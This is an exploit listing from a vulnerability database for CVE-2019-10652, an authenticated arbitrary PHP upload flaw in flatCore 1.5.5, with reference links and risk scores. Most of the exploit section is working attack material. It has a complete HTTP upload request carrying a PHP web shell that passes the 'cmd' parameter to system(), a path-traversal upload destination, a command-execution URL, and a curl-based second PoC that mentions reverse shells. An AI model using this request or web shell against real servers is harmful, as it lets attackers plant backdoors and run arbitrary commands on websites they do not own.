Lucene search
K

📄 flatCore 1.5.5 Shell Upload

🗓️ 10 Apr 2025 00:00:00Reported by CodeSecLabType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 238 Views

flatCore 1.5.5 allows arbitrary PHP file upload via admin panel exploit, CVE-2019-10652.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2019-10652
11 Apr 202521:02
circl
CNVD
FlatCore Arbitrary File Upload Vulnerability
1 Apr 201900:00
cnvd
CVE
CVE-2019-10652
30 Mar 201913:48
cve
Cvelist
CVE-2019-10652
30 Mar 201913:48
cvelist
Exploit DB
flatCore 1.5.5 - Arbitrary File Upload
10 Apr 202500:00
exploitdb
EUVD
EUVD-2019-2452
7 Oct 202500:30
euvd
NVD
CVE-2019-10652
30 Mar 201914:29
nvd
Prion
Design/Logic Flaw
30 Mar 201914:29
prion
RedhatCVE
CVE-2019-10652
22 May 202508:08
redhatcve
# Exploit Title: [flatCore Arbitrary .php File Upload via acp/acp.php]
    # Date: [2024-10-26]
    # Exploit Author: [CodeSecLab]
    # Vendor Homepage: [https://github.com/flatCore/flatCore-CMS] 
    # Software Link: [https://github.com/flatCore/flatCore-CMS]
    # Version: [1.5.5] 
    # Tested on: [Ubuntu Windows]
    # CVE : [CVE-2019-10652]
    PoC:
    1)
    1. Access the flatCore Admin Panel
    URL: http://flatcore/acp/acp.php
    Log in with valid administrative credentials.
    2. Upload a Malicious PHP File
    Navigate to the upload section where you can add new files or images. This is usually accessible via the "Media" or "Addons" feature in the admin panel.
    3. Intercept and Modify the Upload Request
    Using a tool like Burp Suite or by modifying the request directly, prepare the following POST request:
    
    POST /acp/core/files.upload-script.php HTTP/1.1
    Host: flatcore
    Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
    Content-Length: <calculated length>
    Cookie: PHPSESSID=<valid_session_id>
    
    -----------------------------735323031399963166993862150
    Content-Disposition: form-data; name="file"; filename="exploit.php"
    Content-Type: application/octet-stream
    
    <?php
    // Simple PHP backdoor code
    echo "Vulnerable File Upload - PoC";
    system($_GET['cmd']);
    ?>
    -----------------------------735323031399963166993862150
    Content-Disposition: form-data; name="upload_destination"
    
    ../content/files
    -----------------------------735323031399963166993862150
    Content-Disposition: form-data; name="csrf_token"
    
    <valid_csrf_token>
    -----------------------------735323031399963166993862150
    Note: Replace <valid_session_id> and <valid_csrf_token> with values from your authenticated session.
    4. Verification
    After uploading, the PHP file should be accessible at: http://flatcore/content/files/exploit.php
    Access the uploaded file: http://flatcore/content/files/exploit.php?cmd=whoami
    
    PoC 
    2)
    # PoC to exploit unrestricted file upload vulnerability in flatCore 1.4.7
    # Target URL: http://flatcore/
    # The attacker must be authenticated as an administrator to exploit this vulnerability
    
    # Step 1: Log in as an administrator and obtain the CSRF token
    # You need to obtain the CSRF token manually or through a script since the token is required for the file upload.
    
    # Step 2: Upload a malicious PHP file using the file upload feature
    
    # Create a PHP reverse shell or any arbitrary PHP code and save it as shell.php
    echo "<?php phpinfo(); ?>" > shell.php
    
    # Upload the PHP file using cURL
    curl -X POST "http://flatcore/acp/core/files.upload-script.php" \
        -H "Content-Type: multipart/form-data" \
        -F "[email protected]" \
        -F "csrf_token=YOUR_CSRF_TOKEN_HERE" \
        -F "upload_destination=../content/files" \
        -F "file_mode=overwrite" \
        -b "PHPSESSID=YOUR_SESSION_ID_HERE"
    
    # Replace YOUR_CSRF_TOKEN_HERE and YOUR_SESSION_ID_HERE with valid CSRF token and PHPSESSID
    
    # Step 3: Access the uploaded malicious PHP file
    echo "Visit the following URL to execute the uploaded PHP file:"
    echo "http://flatcore/content/files/shell.php"
    
    This PoC demonstrates how an attacker can exploit the unrestricted file upload vulnerability to upload a PHP file and execute it on the server.
    [Replace Your Domain Name]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Apr 2025 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 26.5
CVSS 37.2
EPSS0.08267
238